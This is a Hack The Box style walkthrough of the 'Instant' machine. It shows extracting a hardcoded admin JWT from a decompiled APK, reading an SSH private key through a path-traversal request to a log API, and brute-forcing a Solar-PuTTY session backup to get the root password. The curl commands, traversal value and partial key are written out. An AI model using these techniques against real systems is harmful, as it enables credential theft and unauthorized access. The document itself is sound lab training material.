Linux - Medium - Instant

Recon

Clicking the download button gets us an .apk file. Dirsearch finds some dirs, but we can’t access any of them.

All of the subdomains give 301 to the main site, except for swagger-ui.instant.htb, which redirects to /apidocs.

Apk file

Let’s get back to the .apk file. We can unzip it. I realized that I dont know what to look for, so started searching for anything for .apk file analysis. After a while I’ve found MobSF, which looked pretty good. It decompiled app’s code and allowed me to find the log in mechanism.

http://mywalletv1.instant.htb/api/v1/login

We can now test if the api works.

$curl -X POST http://mywalletv1.instant.htb/api/v1/login \
    -H "Content-Type: application/json" \
    -d '{"username": "your_username", "password": "your_password"}'
    
{"Description":"User Doesn't Exist","Status":404}

Later, I’ve found “AdminActivities.java” with a nice class in it.

public class AdminActivities {
    private String TestAdminAuthorization() {
        new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA").build()).enqueue(new Callback() { // from class: com.instantlabs.instant.AdminActivities.1
            static final /* synthetic */ boolean $assertionsDisabled = false;
            @Override // okhttp3.Callback
            public void onFailure(Call call, IOException iOException) {
                System.out.println("Error Here : " + iOException.getMessage());
            }
            @Override // okhttp3.Callback
            public void onResponse(Call call, Response response) throws IOException {
                if (response.isSuccessful()) {
                    try {
                        System.out.println(JsonParser.parseString(response.body().string()).getAsJsonObject().get("username").getAsString());
                    } catch (JsonSyntaxException e) {
                        System.out.println("Error Here : " + e.getMessage());
                    }
                }
            }
        });
        return "Done";
    }
}

We have a JWT in it, which allows us to log in into the site using curl.

Running curl without token gets us curl -X GET "http://mywalletv1.instant.htb/api/v1/view/profile" {"Description":"Unauthorized!","Status":401}

Running curl with token gets us:

curl -X GET "http://mywalletv1.instant.htb/api/v1/view/profile" \
     -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
<!doctype html>
<html lang=en>
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

So we know we are at least logged in, but something is not working. We need to find a better way of accessing the api. Lets see what are our options by running dirsearch again.

[21:42:36] Starting: api/v1/
[21:42:57] 405 -  153B  - /api/v1/login
[21:43:03] 405 -  153B  - /api/v1/register

API

Running get on /login gets us <p>The method is not allowed for the requested URL.</p>.
Running post on /login gets us <p>Did not attempt to load JSON data because the request Content-Type was not &#39;application/json&#39;.</p>.

curl -X POST "http://mywalletv1.instant.htb/api/v1/login" \
     -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" \
     -H "Content-Type: application/json" \
     -d '{
           "username": "your_username_here",
           "password": "your_password_here"
         }'
         
{"Description":"User Doesn't Exist","Status":404}

Not seeing any way to log in further with this account, I’ve created a new one

curl -X POST "http://mywalletv1.instant.htb/api/v1/register"      -H "Content-Type: application/json"      -d '{
           "username": "new_username", 
           "email": "user@example.com", 
           "password": "secure_password", 
           "pin": "12345"
         }'
         
{"Description":"User Registered! Login Now!","Status":201}

Then I’ve menaged to log in to the site and get my access token.

curl -X POST "http://mywalletv1.instant.htb/api/v1/login" \
     -H "Content-Type: application/json" \
     -d '{
           "username": "new_username", 
           "password": "secure_password"
         }'
         
{"Access-Token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Mywicm9sZSI6Imluc3RhbnRpYW4iLCJ3YWxJZCI6IjA1N2YxMTBlLTA0ZDEtNGNiYi05Yzk5LTRmNzU3MDZhMjRjMiIsImV4cCI6MTcyODg2MDIyOH0.XYeSjK9JEZFi1d_xwBq1fHa0DZ04TiMt0md5NVsWwAo","Status":201}

I was stumbling for way too long, until I realized that apidocs site exists under http://swagger-ui.instant.htb/apidocs/. In there I found documentation explaining, how we can read files.

So I added the admin token I have found in an app and it worked!

┌─[user@parrot]─[~]
└──╼ $curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/view/logs" -H  "accept: application/json" -H  "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"

{"Files":["1.log"],"Path":"/home/shirohige/logs/","Status":201}

If we can read any files, then we can probably read private key. It works too!

curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=..%2F.ssh%2Fid_rsa" -H  "accept: application/json" -H  "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"

{"/home/shirohige/logs/../.ssh/id_rsa":["-----BEGIN RSA PRIVATE KEY-----\n","MIIEogIBAAKCAQEA01usoSAQWBBr/ALqnCMjKnefsbyo7gyX0vBQu9BQlpcFUyr4\n", <SNIP>,"zvJRbBhLdAhiIbDpvpc9fsbGLaZJZFAzwKjaDJonqTHld+QfYXkZWQVn836xXFE7\n","CZLeDL3JinER4vSPMRo/j0+q7Jd1SSEDsPgk7fYkpq6rmbbv7mDlAE5Mdub6OJvm\n","l1WtAoGAfeQmYcwUN2MHTn3jWmzH5GGFRMioKRueJFmB7C55l0SiFgucO23swZEg\n","Pso/MXcUDTzvBKGm7bkNlfrqWivx2wWlaHU0DorrEH2cE6EJQiXsGkjr2hvXdEGg\n","+8jjYKVcgddAw0xC54C4XSfYaJa96rTUuqaPrL0TRQ5XqB1NLUA=\n","-----END RSA PRIVATE KEY-----\n"],"Status":201}

Another problem was that I did not have a user to log in as, but we can read the docs again to list possible log files.

curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/view/logs" -H  "accept: application/json" -H  "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
{"Files":["1.log"],"Path":"/home/shirohige/logs/","Status":201}

There it is, time to log in as shirohige. ssh -i key.ssh shirohige@instant.htb

Priv esc

After doing a few boxes, I always just go to /opt to see if there is something. No exception this time, we will be attacking Solar-PuTTy this time probably.

shirohige@instant:/opt/backups$ ls
Solar-PuTTY

In it, we have just a single file called sessions-backup.dat.

shirohige@instant:/opt/backups/Solar-PuTTY$ cat sessions-backup.dat 
ZJlEkpkqLgj2PlzCyLk4gtCfsGO2CMirJoxxdpclYTlEshKzJwjMCwhDGZzNRr0fNJMlLWfpbdO7l2fEbSl/OzVAmNq0YO94RBxg9p4pwb4upKiVBhRY22HIZFzy6bMUw363zx6lxM4i9kvOB0bNd/4PXn3j3wVMVzpNxuKuSJOvv0fzY/ZjendafYt1Tz1VHbH4aHc8LQvRfW6Rn+5uTQEXyp4jE+ad4DuQk2fbm9oCSIbRO3/OKHKXvpO5Gy7db1njW44Ij44xDgcIlmNNm0m4NIo1Mb/2ZBHw/MsFFoq/TGetjzBZQQ/rM7YQI81SNu9z9VVMe1k7q6rDvpz1Ia7JSe6fRsBugW9D8GomWJNnTst7WUvqwzm29dmj7JQwp+OUpoi/j/HONIn4NenBqPn8kYViYBecNk19Leyg6pUh5RwQw8Bq+6/OHfG8xzbv0NnRxtiaK10KYh++n/Y3kC3t+Im/EWF7sQe/syt6U9q2Igq0qXJBF45Ox6XDu0KmfuAXzKBspkEMHP5MyddIz2eQQxzBznsgmXT1fQQHyB7RDnGUgpfvtCZS8oyVvrrqOyzOYl8f/Ct8iGbv/WO/SOfFqSvPQGBZnqC8Id/enZ1DRp02UdefqBejLW9JvV8gTFj94MZpcCb9H+eqj1FirFyp8w03VHFbcGdP+u915CxGAowDglI0UR3aSgJ1XIz9eT1WdS6EGCovk3na0KCz8ziYMBEl+yvDyIbDvBqmga1F+c2LwnAnVHkFeXVua70A4wtk7R3jn8+7h+3Evjc1vbgmnRjIp2sVxnHfUpLSEq4oGp3QK+AgrWXzfky7CaEEEUqpRB6knL8rZCx+Bvw5uw9u81PAkaI9SlY+60mMflf2r6cGbZsfoHCeDLdBSrRdyGVvAP4oY0LAAvLIlFZEqcuiYUZAEgXgUpTi7UvMVKkHRrjfIKLw0NUQsVY4LVRaa3rOAqUDSiOYn9F+Fau2mpfa3c2BZlBqTfL9YbMQhaaWz6VfzcSEbNTiBsWTTQuWRQpcPmNnoFN2VsqZD7d4ukhtakDHGvnvgr2TpcwiaQjHSwcMUFUawf0Oo2+yV3lwsBIUWvhQw2g=

So simple duckduckgo search for solar-PuTTy getting data from .dat file got me SolarPuTTYBrute. So I downloaded Visual Studio, compiled it and run with rockyou.txt.

It worked, tried to log in as root on the linux machine with the pass 12**24nzC!r0c%q12.

We are done here. Easy root.